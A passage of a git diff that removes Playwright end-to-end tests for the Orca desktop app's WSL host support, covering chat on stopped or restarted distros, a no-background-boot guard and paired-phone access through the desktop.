testInfo) => { - const session = createRestartSession(testInfo, { [WSL_HOSTS_INTERNAL_GATE_ENV]: '1' }) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - await session.close(launched.app) - launched = undefined - - mutateStoppedProfileState(session.userDataDir, (state) => { - state.repos = [ - { id: 'repo-unc', path: UNC, displayName: 'app', badgeColor: '#000000', addedAt: 1 } - ] - state.worktreeMeta = { - [OLD_ID]: { - displayName: 'app', - comment: 'half-way through the refactor', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1 - } - } - state.workspaceSession = { - ...(isRecord(state.workspaceSession) ? state.workspaceSession : {}), - tabsByWorktree: { - [OLD_ID]: [ - { - id: 'tab-unc', - ptyId: `${OLD_ID}@@slept`, - worktreeId: OLD_ID, - title: 'shell', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - } - } - }) - // The slept pane's daemon session, as Sleep leaves it. - const oldSession = join( - session.userDataDir, - 'terminal-history', - getHistorySessionDirName(`${OLD_ID}@@slept`) - ) - mkdirSync(oldSession, { recursive: true }) - writeFileSync(join(oldSession, 'meta.json'), JSON.stringify({ cwd: '/mnt/c/src/app' })) - writeWslDriveUncConversion(session.userDataDir, { - version: 1, - migrationId: 'conversion-e2e', - distro: 'Ubuntu', - profileId: null, - repoIds: ['repo-unc'], - folderWorkspaceIds: [], - rootPaths: [UNC], - phase: 'prepared', - worktreeIds: [[OLD_ID, NEW_ID]], - rewrittenStores: [], - createdAt: '2026-10-24T00:00:00.000Z', - updatedAt: '2026-10-24T00:00:00.000Z' - }) - - launched = await session.launch() - await waitForSessionReady(launched.page) - const repos = await launched.page.evaluate(() => window.api.repos.list()) - expect(repos.find((repo) => repo.id === 'repo-unc')?.path).toBe(DRIVE) - expect( - existsSync( - join(session.userDataDir, 'terminal-history', getHistorySessionDirName(`${NEW_ID}@@slept`)) - ) - ).toBe(true) - // The window converts its own stores, then the journal goes. - await expect - .poll(() => listWslDriveUncConversions(session.userDataDir).length, { timeout: 20_000 }) - .toBe(0) - await session.close(launched.app) - launched = undefined - - const saved = SavedProfile.parse(readPersistedProfileState(session.userDataDir)) - expect(saved.worktreeMeta[NEW_ID]?.comment).toBe('half-way through the refactor') - expect(saved.worktreeMeta[OLD_ID]).toBeUndefined() - // The tab itself isn't checked: off Windows `C:\src\app` never exists, so the window drops - // its tabs as a missing workspace's. The unit tests check the re-keyed session. - expect(saved.workspaceSession.tabsByWorktree[OLD_ID]).toBeUndefined() - expect( - saved.projects.find((project) => project.sourceRepoIds.includes('repo-unc')) - ?.localWindowsRuntimePreference - ).toEqual({ kind: 'wsl', distro: 'Ubuntu', git: 'windows-host' }) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/wsl-host-chat.spec.ts b/tests/e2e/wsl-host-chat.spec.ts deleted file mode 100644 index 02410f65a52..00000000000 --- a/tests/e2e/wsl-host-chat.spec.ts +++ /dev/null @@ -1,423 +0,0 @@ -/** - * Native chat on a WSL host with a fake WSL transport: the HUB stands in for the distro's orcad and - * runs the Claude stub. A second desktop adds the "distro" as a host, opens a chat on a project - * there, then sees the distro stop: chat calls refuse without booting it (E9) and switching back - * to the workspace boots it so the chat continues. - */ -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect } from './helpers/orca-app' -import { createRuntimeDesktopPairingOffer } from './helpers/paired-electron-client' -import { callEnvironment } from './helpers/paired-host-terminal' -import { buildFakeAgentCommandOverride } from './helpers/fake-agent-command-override' -import { SUPPORTED, test } from './helpers/structured-claude-stub' -import { waitForSessionReady } from './helpers/store' -import { - createGitProject, - fakeWslConnects, - focusProject, - launchDesktopWithFakeWsl, - readDistroState, - RUNNING, - STOPPED, - WSL_ENVIRONMENT_ID, - writeDistros -} from './helpers/wsl-host-fake-desktop' - -test.describe('native chat on a WSL host', () => { - test.skip(!SUPPORTED, 'the Claude stub wrapper is POSIX-only') - - test('admits, streams, offers Start for a stopped distro, continues after Start, and never boots it on a project switch', async ({ - orcaPage: hub, - claudeStub - }, testInfo) => { - // Two Electron apps, a host add and two chat turns. - test.setTimeout(300_000) - await waitForSessionReady(hub) - // The HUB is the distro's orcad: its settings are the host's, so the chat runs its stub. - await hub.evaluate(async (command) => { - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - agentCmdOverrides: { claude: command } - }) - }, buildFakeAgentCommandOverride(claudeStub.command)) - const offer = await createRuntimeDesktopPairingOffer(hub) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-chat-fake-')) - const distrosFile = path.join(fakeDir, 'distros.json') - const connectLogFile = path.join(fakeDir, 'connects.log') - writeDistros(distrosFile, RUNNING) - const desktop = await launchDesktopWithFakeWsl( - { distros: RUNNING, distrosFile, connectLogFile, pairingCode: offer.pairingUrl }, - testInfo - ) - const projectPath = createGitProject() - try { - const { page } = desktop - await page.evaluate(async () => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - defaultTuiAgent: 'claude' - }) - }) - const added = await page.evaluate(() => - window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' }) - ) - expect(added, JSON.stringify(added)).toMatchObject({ ok: true }) - await callEnvironment(page, WSL_ENVIRONMENT_ID, 'repo.add', { - path: projectPath, - kind: 'git' - }) - await expect.poll(() => focusProject(page, projectPath), { timeout: 60_000 }).toBeTruthy() - - // Admission: the host, not this desktop, answers whether it can run the chat. - const askSupport = () => - callEnvironment(page, WSL_ENVIRONMENT_ID, 'agentSession.createSupport', { - worktree: `path:${projectPath}`, - agent: 'claude' - }) - expect(await askSupport()).toMatchObject({ supported: true }) - - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByText('Claude', { exact: true }) - .first() - .click({ timeout: 60_000 }) - const chat = page.locator('[data-native-chat-root="true"]') - await expect(chat).toBeVisible({ timeout: 60_000 }) - const composer = chat.getByRole('textbox') - const send = async (text: string): Promise => { - // Typing before the composer is editable loses keys, notably right after a reconnect. - await expect(composer).toBeEditable({ timeout: 60_000 }) - await composer.click() - await page.keyboard.type(text) - await expect(composer).toContainText(text) - await chat.getByRole('button', { name: 'Send', exact: true }).click() - } - // The transcript only, so the composer still holding the prompt can't stand in for the message. - const transcript = chat.locator('[data-native-chat-scroll]') - /** The prompt's message, followed later in the transcript by a stub reply. */ - const expectReplyAfter = async (text: string): Promise => { - const prompt = transcript.getByText(text, { exact: true }).last() - await expect(prompt).toBeVisible({ timeout: 60_000 }) - await expect( - prompt.locator('xpath=following::*[text()="Stub reply."]').first() - ).toBeVisible({ timeout: 120_000 }) - } - await send('hello from the desktop') - await expectReplyAfter('hello from the desktop') - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-streamed.png') }) - - // The distro stops: a chat call is a runtime call, so it refuses rather than boot it. - const stopDistro = async (): Promise => { - const connects = fakeWslConnects(connectLogFile).length - writeDistros(distrosFile, STOPPED) - await expect - .poll( - () => - askSupport().then( - () => 'answered', - (error: unknown) => String(error) - ), - { timeout: 30_000 } - ) - .toContain('Ubuntu is stopped') - return connects - } - const stoppedNotice = chat.getByText('Ubuntu is stopped', { exact: true }) - const start = chat.getByRole('button', { name: 'Start', exact: true }) - const connectsBeforeStart = await stopDistro() - // The chat names the stopped distro and offers Start instead of a raw error. - await expect(stoppedNotice).toBeVisible({ timeout: 30_000 }) - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-stopped.png') }) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStart) - await start.click() - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBe(connectsBeforeStart + 1) - await expect(stoppedNotice).toBeHidden({ timeout: 60_000 }) - await send('after Start') - await expectReplyAfter('after Start') - // One Start is one connect: a second would rerun the server's launch in the distro. - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStart + 1) - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-after-start.png') }) - - const connectsBeforeStop = await stopDistro() - await expect(stoppedNotice).toBeVisible({ timeout: 30_000 }) - - // Switching away and back is navigation, not a start: the distro stays stopped (#36688). - await page.evaluate(() => window.__store?.getState().setActiveWorktree(null)) - await expect.poll(() => focusProject(page, projectPath), { timeout: 30_000 }).toBeTruthy() - await expect(chat).toBeVisible({ timeout: 60_000 }) - await expect(stoppedNotice).toBeVisible({ timeout: 30_000 }) - // ast-grep-ignore: test-no-real-time-wait -- the claim is that the switch boots nothing over time - await page.waitForTimeout(5_000) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStop) - expect(readDistroState(distrosFile)).toBe('stopped') - // Start is what boots it, once, and the chat goes on. - await start.click() - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBe(connectsBeforeStop + 1) - await expect(stoppedNotice).toBeHidden({ timeout: 60_000 }) - await send('after the distro restarted') - await expectReplyAfter('after the distro restarted') - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-after-boot.png') }) - } finally { - await desktop.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - rmSync(projectPath, { recursive: true, force: true }) - } - }) - - test('names the distro when the agent is no longer installed there', async ({ - orcaPage: hub, - claudeStub - }, testInfo) => { - // Two Electron apps, one chat turn and one failed restart. - test.setTimeout(240_000) - await waitForSessionReady(hub) - await hub.evaluate(async (command) => { - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - agentCmdOverrides: { claude: command } - }) - }, buildFakeAgentCommandOverride(claudeStub.command)) - const offer = await createRuntimeDesktopPairingOffer(hub) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-chat-missing-')) - const distrosFile = path.join(fakeDir, 'distros.json') - writeDistros(distrosFile, RUNNING) - const desktop = await launchDesktopWithFakeWsl( - { distros: RUNNING, distrosFile, pairingCode: offer.pairingUrl }, - testInfo - ) - const projectPath = createGitProject() - try { - const { page } = desktop - await page.evaluate(async () => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - defaultTuiAgent: 'claude' - }) - }) - const added = await page.evaluate(() => - window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' }) - ) - expect(added, JSON.stringify(added)).toMatchObject({ ok: true }) - await callEnvironment(page, WSL_ENVIRONMENT_ID, 'repo.add', { - path: projectPath, - kind: 'git' - }) - await expect.poll(() => focusProject(page, projectPath), { timeout: 60_000 }).toBeTruthy() - // The menu offers only installed agents, so the chat starts while claude is there. - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByText('Claude', { exact: true }) - .first() - .click({ timeout: 60_000 }) - const chat = page.locator('[data-native-chat-root="true"]') - const composer = chat.getByRole('textbox') - const send = async (text: string): Promise => { - await expect(composer).toBeEditable({ timeout: 60_000 }) - await composer.click() - await page.keyboard.type(text) - await expect(composer).toContainText(text) - await chat.getByRole('button', { name: 'Send', exact: true }).click() - } - await send('hello') - await expect(chat.getByText('Stub reply.').first()).toBeVisible({ timeout: 120_000 }) - - // Then claude leaves the host (its PATH keeps only the system dirs the stub fixture checked), - // and the chat's next start has to find it again. - await hub.evaluate(async () => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: {}, - agentDefaultEnv: { claude: { PATH: '/usr/bin:/bin:/usr/sbin:/sbin' } } - }) - }) - const sessionId = await page.evaluate( - () => - Object.values(window.__store?.getState().unifiedTabsByWorktree ?? {}) - .flat() - .find((tab) => tab.agentSessionAgent === 'claude')?.entityId ?? null - ) - expect(sessionId).toBeTruthy() - const workspaceId = await hub.evaluate((projectPath) => { - const workspace = window.__store - ?.getState() - .allWorktrees() - .find((entry) => entry.path === projectPath) - if (!workspace) { - throw new Error('Host workspace for the existing chat is missing') - } - return workspace.id - }, projectPath) - const originalTab = await page.evaluate( - (sessionId) => - Object.values(window.__store?.getState().unifiedTabsByWorktree ?? {}) - .flat() - .find((tab) => tab.entityId === sessionId)?.id, - sessionId - ) - expect(originalTab).toBeTruthy() - // Workspace sleep stops the provider without user-close's intentional tab removal. - const stopped = await callEnvironment( - page, - WSL_ENVIRONMENT_ID, - 'agentSession.sleepWorkspace', - { workspaceId } - ) - expect(stopped).toMatchObject({ stoppedSessionIds: [sessionId] }) - await expect( - page.locator(`[data-testid="sortable-tab"][data-tab-id="${originalTab}"]`) - ).toBeVisible() - expect( - await page.evaluate( - (sessionId) => - Object.values(window.__store?.getState().unifiedTabsByWorktree ?? {}) - .flat() - .find((tab) => tab.entityId === sessionId)?.id, - sessionId - ) - ).toBe(originalTab) - await send('again') - // Says where it's missing, not "the computer running this chat". - await expect( - chat.getByText(/Claude isn't installed in the WSL distro Ubuntu\./).first() - ).toBeVisible({ timeout: 120_000 }) - await expect(chat.getByText(/the computer running this chat/)).toHaveCount(0) - await expect( - page.locator(`[data-testid="sortable-tab"][data-tab-id="${originalTab}"]`) - ).toBeVisible() - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-cli-missing.png') }) - } finally { - await desktop.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - rmSync(projectPath, { recursive: true, force: true }) - } - }) - - test('holds Send and offers Start when a runtime call, not liveness, finds the distro stopped', async ({ - orcaPage: hub, - claudeStub - }, testInfo) => { - // Two Electron apps and two chat turns around one stop. - test.setTimeout(240_000) - await waitForSessionReady(hub) - await hub.evaluate(async (command) => { - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - agentCmdOverrides: { claude: command } - }) - }, buildFakeAgentCommandOverride(claudeStub.command)) - const offer = await createRuntimeDesktopPairingOffer(hub) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-chat-parked-')) - const distrosFile = path.join(fakeDir, 'distros.json') - const connectLogFile = path.join(fakeDir, 'connects.log') - writeDistros(distrosFile, RUNNING) - // The fake reports no stop of its own, so only the runtime call's park can say it. - const desktop = await launchDesktopWithFakeWsl( - { - distros: RUNNING, - distrosFile, - connectLogFile, - pairingCode: offer.pairingUrl, - stopSilently: true - }, - testInfo - ) - const projectPath = createGitProject() - try { - const { page } = desktop - await page.evaluate(async () => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - defaultTuiAgent: 'claude' - }) - }) - const added = await page.evaluate(() => - window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' }) - ) - expect(added, JSON.stringify(added)).toMatchObject({ ok: true }) - await callEnvironment(page, WSL_ENVIRONMENT_ID, 'repo.add', { - path: projectPath, - kind: 'git' - }) - await expect.poll(() => focusProject(page, projectPath), { timeout: 60_000 }).toBeTruthy() - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByText('Claude', { exact: true }) - .first() - .click({ timeout: 60_000 }) - const chat = page.locator('[data-native-chat-root="true"]') - const composer = chat.getByRole('textbox') - const sendButton = chat.getByRole('button', { name: 'Send', exact: true }) - const type = async (text: string): Promise => { - await expect(composer).toBeEditable({ timeout: 60_000 }) - await composer.click() - await page.keyboard.type(text) - await expect(composer).toContainText(text) - } - const replies = chat.getByText('Stub reply.') - await type('hello') - await sendButton.click() - await expect(replies.first()).toBeVisible({ timeout: 120_000 }) - - // The distro stops; a runtime call (as a poll would) finds it stopped and parks the host. - const connectsBeforeStop = fakeWslConnects(connectLogFile).length - writeDistros(distrosFile, STOPPED) - await expect - .poll( - () => - callEnvironment(page, WSL_ENVIRONMENT_ID, 'agentSession.createSupport', { - worktree: `path:${projectPath}`, - agent: 'claude' - }).then( - () => 'answered', - (error: unknown) => String(error) - ), - { timeout: 30_000 } - ) - .toContain('Ubuntu is stopped') - const stoppedNotice = chat.getByText('Ubuntu is stopped', { exact: true }) - await expect(stoppedNotice).toBeVisible({ timeout: 30_000 }) - // Send waits for Start rather than failing against a stopped distro; while held, the button is - // named by why it waits, as for any host hold. - await type('while stopped') - await expect( - chat.getByRole('button', { name: 'Start Ubuntu to send.', exact: true }) - ).toBeDisabled() - await page.screenshot({ path: testInfo.outputPath('wsl-host-chat-parked.png') }) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStop) - expect(readDistroState(distrosFile)).toBe('stopped') - - await chat.getByRole('button', { name: 'Start', exact: true }).click() - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBeGreaterThan(connectsBeforeStop) - await expect(stoppedNotice).toBeHidden({ timeout: 60_000 }) - await expect(sendButton).toBeEnabled({ timeout: 60_000 }) - await sendButton.click() - // The held message goes out after Start and gets its own reply. - const held = chat - .locator('[data-native-chat-scroll]') - .getByText('while stopped', { exact: true }) - await expect( - held.last().locator('xpath=following::*[text()="Stub reply."]').first() - ).toBeVisible({ timeout: 120_000 }) - } finally { - await desktop.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - rmSync(projectPath, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/wsl-host-no-background-boot.spec.ts b/tests/e2e/wsl-host-no-background-boot.spec.ts deleted file mode 100644 index 3c3e6e6d51a..00000000000 --- a/tests/e2e/wsl-host-no-background-boot.spec.ts +++ /dev/null @@ -1,229 +0,0 @@ -/** - * E9 guard: background work never starts a stopped WSL distro. A desktop with a fake WSL transport - * (the HUB stands in for the distro's orcad) keeps a WSL project and a local one. With the distro - * stopped, a window of ordinary background activity elsewhere must start nothing in it; the user - * then opening a terminal there starts it exactly once. Catches any new caller that skips the gate. - * Host dials only; bridge/UNC background paths are covered by their unit gates and the Windows lane guard. - */ -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' -import { createRuntimeDesktopPairingOffer } from './helpers/paired-electron-client' -import { callEnvironment } from './helpers/paired-host-terminal' -import { buildFakeAgentCommandOverride } from './helpers/fake-agent-command-override' -import { SUPPORTED, test } from './helpers/structured-claude-stub' -import { waitForSessionReady } from './helpers/store' -import { visitSettingsPanes } from './helpers/settings-pane-visits' -import { - createGitProject, - fakeWslConnects, - focusProject, - launchDesktopWithFakeWsl, - readDistroState, - RUNNING, - STOPPED, - WSL_ENVIRONMENT_ID, - writeDistros -} from './helpers/wsl-host-fake-desktop' - -/** Settings panes whose mount reads host, account, CLI or integration state. */ -const SETTINGS_PANES = [ - 'general', - 'integrations', - 'accounts', - 'agents', - 'git', - 'tasks', - 'servers', - 'session-history', - 'automations' -] as const - -/** Adds a local checkout to the desktop and returns its main worktree. */ -async function addLocalWorkspace(page: Page, repoPath: string): Promise { - return page.evaluate(async (repoPath) => { - const store = window.__store! - const added = await window.api.repos.add({ path: repoPath, kind: 'git' }) - if ('error' in added) { - throw new Error(added.error) - } - await store.getState().fetchReposForAllHosts() - await store.getState().fetchWorktrees(added.repo.id, { forceLocalOwner: true }) - const worktree = store - .getState() - .worktreesByRepo[added.repo.id]?.find((row) => row.isMainWorktree) - if (!worktree) { - throw new Error('Local checkout missing') - } - return worktree.id - }, repoPath) -} - -async function activateLocal(page: Page, worktreeId: string | null): Promise { - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) -} - -/** Window focus, blur and reveal, as alt-tabbing does, without raising any real window. */ -async function cycleWindowFocus(page: Page): Promise { - await page.evaluate(() => { - window.dispatchEvent(new Event('blur')) - document.dispatchEvent(new Event('visibilitychange')) - window.dispatchEvent(new Event('focus')) - }) -} - -test.describe('E9: background work on a stopped WSL host', () => { - test.skip(!SUPPORTED, 'the Claude stub wrapper is POSIX-only') - - test('starts nothing in the stopped distro until the user opens a terminal there', async ({ - orcaPage: hub, - claudeStub - }, testInfo) => { - // Two Electron apps, a host add, a chat turn and a 20 s background window. - test.setTimeout(300_000) - await waitForSessionReady(hub) - const offer = await createRuntimeDesktopPairingOffer(hub) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-no-boot-fake-')) - const distrosFile = path.join(fakeDir, 'distros.json') - const connectLogFile = path.join(fakeDir, 'connects.log') - writeDistros(distrosFile, RUNNING) - const desktop = await launchDesktopWithFakeWsl( - { distros: RUNNING, distrosFile, connectLogFile, pairingCode: offer.pairingUrl }, - testInfo - ) - const wslProjectPath = createGitProject() - const localProjectPath = createGitProject() - try { - const { page } = desktop - await page.evaluate(async (claude) => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - defaultTuiAgent: 'claude', - agentCmdOverrides: { claude } - }) - }, buildFakeAgentCommandOverride(claudeStub.command)) - const added = await page.evaluate(() => - window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' }) - ) - expect(added, JSON.stringify(added)).toMatchObject({ ok: true }) - await callEnvironment(page, WSL_ENVIRONMENT_ID, 'repo.add', { - path: wslProjectPath, - kind: 'git' - }) - await expect.poll(() => focusProject(page, wslProjectPath), { timeout: 60_000 }).toBeTruthy() - const wslWorktreeId = await focusProject(page, wslProjectPath) - if (!wslWorktreeId) { - throw new Error('The WSL workspace never appeared') - } - // Its sidebar card carries a linked issue and PR, which refresh on their own. - const linked = await page.evaluate( - (id) => window.__store?.getState().updateWorktreeMeta(id, { linkedIssue: 1, linkedPR: 2 }), - wslWorktreeId - ) - expect(linked, JSON.stringify(linked)).toMatchObject({ ok: true }) - - // A chat in another workspace keeps streaming while the WSL one sits stopped. - const localWorktreeId = await addLocalWorkspace(page, localProjectPath) - await activateLocal(page, localWorktreeId) - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByText('Claude', { exact: true }) - .first() - .click({ timeout: 60_000 }) - const chat = page.locator('[data-native-chat-root="true"]:visible') - await expect(chat).toBeVisible({ timeout: 60_000 }) - const send = async (text: string): Promise => { - const composer = chat.getByRole('textbox') - await expect(composer).toBeEditable({ timeout: 60_000 }) - await composer.click() - await page.keyboard.type(text) - await chat.getByRole('button', { name: 'Send', exact: true }).click() - const prompt = chat.locator('[data-native-chat-scroll]').getByText(text, { exact: true }) - await expect( - prompt.last().locator('xpath=following::*[text()="Stub reply."]').first() - ).toBeVisible({ timeout: 120_000 }) - } - await send('before the distro stops') - - // Stop the distro, and wait until the desktop has seen it stop. The probe is a runtime call - // itself, so a runtime path that forgets the gate already fails here by booting it. - writeDistros(distrosFile, STOPPED) - await expect - .poll( - () => - callEnvironment(page, WSL_ENVIRONMENT_ID, 'files.readDir', { - worktree: `path:${wslProjectPath}`, - relativePath: '' - }).then( - () => 'answered', - (error: unknown) => String(error) - ), - { timeout: 30_000 } - ) - .toContain('Ubuntu is stopped') - const connectsWhileStopped = fakeWslConnects(connectLogFile).length - // Setup connected at least once: a connect log that was never written fails here. - expect(connectsWhileStopped).toBeGreaterThan(0) - const wslRepoId = await page.evaluate( - (wslPath) => - window.__store?.getState().repos.find((repo) => repo.path === wslPath)?.id ?? null, - wslProjectPath - ) - expect(wslRepoId).toBeTruthy() - - // The background window: nothing here is the user acting on the WSL workspace. - for (let round = 0; round < 2; round += 1) { - await cycleWindowFocus(page) - await activateLocal(page, null) - await cycleWindowFocus(page) - await activateLocal(page, localWorktreeId) - await visitSettingsPanes(page, SETTINGS_PANES, wslRepoId) - await page.evaluate(() => window.__store?.getState().setActiveView('tasks')) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeView)) - .toBe('tasks') - await page.evaluate(async () => { - // Account switches re-sync every host's homes; a stopped one must be skipped. - await window.api.codexAccounts.select({ accountId: null }).catch(() => {}) - await window.api.claudeAccounts.select({ accountId: null }).catch(() => {}) - }) - await page.evaluate(() => window.__store?.getState().setActiveView('terminal')) - await send(`while the distro is stopped ${round}`) - } - await page.screenshot({ path: testInfo.outputPath('wsl-no-boot-background-window.png') }) - // Timers, polls and retries keep running between the acts above; the claim is over real time. - // ast-grep-ignore: test-no-real-time-wait -- the claim is that nothing boots over a window of real background work - await page.waitForTimeout(15_000) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsWhileStopped) - expect(readDistroState(distrosFile)).toBe('stopped') - - // The user opens a terminal in the WSL workspace: that act alone starts the distro, once. - await expect.poll(() => focusProject(page, wslProjectPath), { timeout: 30_000 }).toBeTruthy() - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByRole('button', { name: /New Terminal/ }) - .first() - .click() - await expect(page.locator('.xterm:visible').first()).toBeVisible({ timeout: 60_000 }) - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBe(connectsWhileStopped + 1) - expect(readDistroState(distrosFile)).toBe('running') - // ast-grep-ignore: test-no-real-time-wait -- a second start would land after the first; none may - await page.waitForTimeout(5_000) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsWhileStopped + 1) - await page.screenshot({ path: testInfo.outputPath('wsl-no-boot-after-terminal.png') }) - } finally { - await desktop.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - rmSync(wslProjectPath, { recursive: true, force: true }) - rmSync(localProjectPath, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/wsl-host-paired-phone.spec.ts b/tests/e2e/wsl-host-paired-phone.spec.ts deleted file mode 100644 index 457d87a07a2..00000000000 --- a/tests/e2e/wsl-host-paired-phone.spec.ts +++ /dev/null @@ -1,242 +0,0 @@ -/** - * E6: a phone paired with a desktop reaches that desktop's WSL host through the desktop, as it - * reaches a managed SSH host, but never starts the distro. The HUB fixture stands in for the - * distro's orcad behind a fake WSL transport; the oracle is the phone's wire. - */ -import { execFileSync } from 'node:child_process' -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { - createDesktopMobilePairingOffer, - createRuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { pairMobileClient, type PairedMobileSocket } from './helpers/paired-mobile-client' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' -import { notificationExecutionHostForOwner } from '../../src/shared/notifications/notification-source' -import { waitForSessionReady } from './helpers/store' -import { - fakeWslConnects, - launchDesktopWithFakeWslPairing, - setWslHostsEnabled -} from './helpers/wsl-host-fake-desktop' - -const WSL_ENVIRONMENT_ID = 'wsl:ubuntu' -const UBUNTU = { name: 'Ubuntu', state: 'running', version: 2 } - -type Frame = PairedMobileSocket['frames'][number] - -const HostsSchema = z.object({ - hosts: z.array( - z.looseObject({ - hostId: z.string(), - relay: z.string(), - stoppedOnDesktop: z.boolean().optional(), - unavailableOnDesktop: z.boolean().optional() - }) - ) -}) -// The host as the phone reads it; an absent flag reads false. -function hostReach(host: z.infer['hosts'][number] | undefined) { - return host - ? { - relay: host.relay, - stopped: host.stoppedOnDesktop === true, - unavailable: host.unavailableOnDesktop === true - } - : null -} -const HostWorktreesSchema = z.looseObject({ - worktrees: z - .array(z.looseObject({ worktreeId: z.string(), path: z.string(), hostId: z.string() })) - .nullable() -}) -const DirectorySchema = z.array(z.looseObject({ name: z.string() })) -const CreatedTerminalSchema = z.object({ tab: z.looseObject({ terminal: z.string().nullable() }) }) -const TerminalListSchema = z.looseObject({ - terminals: z.array(z.looseObject({ worktreeId: z.string(), ptyId: z.string().nullable() })) -}) - -let requestId = 0 -async function send(socket: PairedMobileSocket, method: string, params: unknown, host?: string) { - requestId += 1 - const id = `phone-${requestId}` - socket.send(id, method, params, host) - let frame: Frame | undefined - await expect - .poll(() => (frame = socket.frames.find((entry) => entry.id === id)), { timeout: 60_000 }) - .toBeDefined() - return frame! -} - -async function call( - socket: PairedMobileSocket, - method: string, - params: unknown, - schema: z.ZodType, - host?: string -): Promise { - const frame = await send(socket, method, params, host) - expect(frame.ok, `${method}: ${JSON.stringify(frame.error)}`).toBe(true) - return schema.parse(frame.result) -} - -function createGitProject(): string { - const dir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-phone-project-')) - execFileSync('git', ['init', '-q', '-b', 'main', dir]) - writeFileSync(path.join(dir, 'README.md'), '# wsl host phone project\n') - execFileSync('git', ['-C', dir, 'add', '.']) - execFileSync( - 'git', - ['-C', dir, '-c', 'user.name=e2e', '-c', 'user.email=e2e@example.com', 'commit', '-qm', 'init'], - { stdio: 'ignore' } - ) - return dir -} - -test("a paired phone lists, opens, runs and launches on the desktop's WSL host, and never starts it", async ({ - orcaPage, - electronApp -}, testInfo) => { - // Two Orca instances, a pairing, a terminal and an agent launch on a cold runner. - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - // The HUB is the "distro's orcad": its projects are the WSL host's projects. - const hub = new RuntimeClient(await electronApp.evaluate(({ app }) => app.getPath('userData'))) - const projectPath = createGitProject() - await hub.call('repo.add', { path: projectPath, kind: 'git' }) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const distrosDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-phone-distros-')) - const distrosFile = path.join(distrosDir, 'distros.json') - const connectLogFile = path.join(distrosDir, 'connects.log') - writeFileSync(distrosFile, JSON.stringify([UBUNTU])) - const desktop = await launchDesktopWithFakeWslPairing(offer.pairingUrl, testInfo, { - distrosFile, - connectLogFile - }) - const phone = pairMobileClient(await 